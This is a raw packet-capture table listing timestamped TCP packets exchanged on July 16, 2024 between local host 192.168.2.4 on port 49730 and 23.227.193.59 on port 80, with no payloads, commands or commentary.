Jul 16, 2024 22:29:52.719583988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719597101 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.719618082 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719651937 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719666004 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.719686985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719722033 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719736099 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.719758034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719810009 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.719810009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719842911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719876051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719887972 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.719909906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719944000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719966888 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.719976902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.720016003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.720027924 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.720048904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.720084906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.720101118 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.720222950 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.720257044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.720268965 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.720289946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.720324993 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.720340967 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.720357895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.720391035 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.720406055 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.721882105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.721935987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.721939087 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.721970081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722018003 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.722023010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722055912 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722090006 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722103119 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.722183943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722232103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722246885 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.722265959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722299099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722312927 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.722335100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722371101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722383976 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.722481966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722516060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722533941 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.722551107 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722600937 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.722672939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722724915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722758055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722771883 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.722790956 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722840071 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.722841024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722873926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722908020 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.722922087 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.722960949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723009109 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.723011017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723045111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723078966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723093987 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.723113060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723145962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723160028 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.723180056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723213911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723228931 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.723247051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723279953 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723294973 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.723313093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723345995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723360062 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.723381996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723428011 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.723587990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723623991 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723656893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723670006 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.723690987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723723888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723737955 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.723757029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723789930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723804951 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.723824024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723858118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723897934 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.723900080 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723918915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723933935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723952055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.723984957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.724020958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.724045038 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.724067926 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.724093914 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.724127054 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.724144936 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.724160910 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.724195004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.724209070 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.724240065 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.724275112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.724286079 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.724308968 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.724358082 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.806530952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.806566954 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.806602001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.806655884 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.806677103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.806710958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.806730986 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.806744099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.806778908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.806785107 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.806832075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.806879044 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.806962013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.807375908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.807410002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.807425022 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.807461977 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.807503939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.807509899 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.807660103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.807693005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.807703972 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.807759047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.807789087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.807806015 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.807821989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.807873011 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.807912111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.807943106 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.807990074 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.807992935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808026075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808059931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808072090 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.808105946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808155060 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.808156967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808191061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808238029 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.808252096 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808320045 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808353901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808365107 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.808386087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808418989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808430910 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.808458090 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808504105 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.808522940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808556080 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808588982 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808602095 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.808620930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808655024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808672905 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.808687925 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808722019 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808738947 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.808788061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808834076 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.808840990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808875084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.808922052 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.809010029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809041977 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809075117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809087038 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.809109926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809155941 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.809250116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809282064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809314013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809326887 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.809348106 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809381008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809391975 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.809413910 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809447050 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809459925 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.809479952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809513092 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809525013 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.809730053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809762001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809791088 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.809797049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809834003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.809842110 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.811000109 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811033964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811052084 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.811067104 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811114073 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.811120033 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811170101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811203003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811218977 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.811235905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811280966 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.811288118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811321020 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811366081 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.811371088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811403990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811436892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811450005 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.811470032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811503887 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811516047 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.811537027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811572075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811578035 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.811602116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811655045 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.811811924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811846018 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811877966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811888933 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.811912060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811956882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.811958075 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.811990976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812024117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812036037 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.812057972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812091112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812102079 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.812123060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812159061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812169075 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.812335968 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812365055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812386036 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.812542915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812577009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812591076 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.812609911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812644005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812654018 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.812676907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812710047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812726974 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.812758923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812792063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812803984 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.812824965 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812870026 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.812875986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812912941 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812942028 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.812962055 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.812974930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813008070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813040018 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.813040972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813075066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813093901 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.813108921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813141108 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813154936 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.813190937 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813224077 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813240051 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.813257933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813292027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813307047 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.813323975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813363075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813370943 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.813391924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813425064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813431978 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.813458920 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813488960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.813505888 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.853498936 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.895302057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.895335913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.895371914 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.895401001 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.895426035 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.895457983 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.895492077 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.895517111 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.895525932 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.895560026 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.895565033 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.895633936 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.896200895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.896330118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.896383047 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.896543026 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.896598101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.896631002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.896646023 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.896667004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.896713018 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.896770954 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.896804094 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.896836996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.896850109 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.896869898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.896904945 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.896928072 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.896938086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.896971941 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.897032022 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.897103071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.897130966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.897150040 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.898169994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898197889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898240089 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.898257971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898308039 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.898328066 CEST	80	49730	23.227.193.59	192.168.2.4
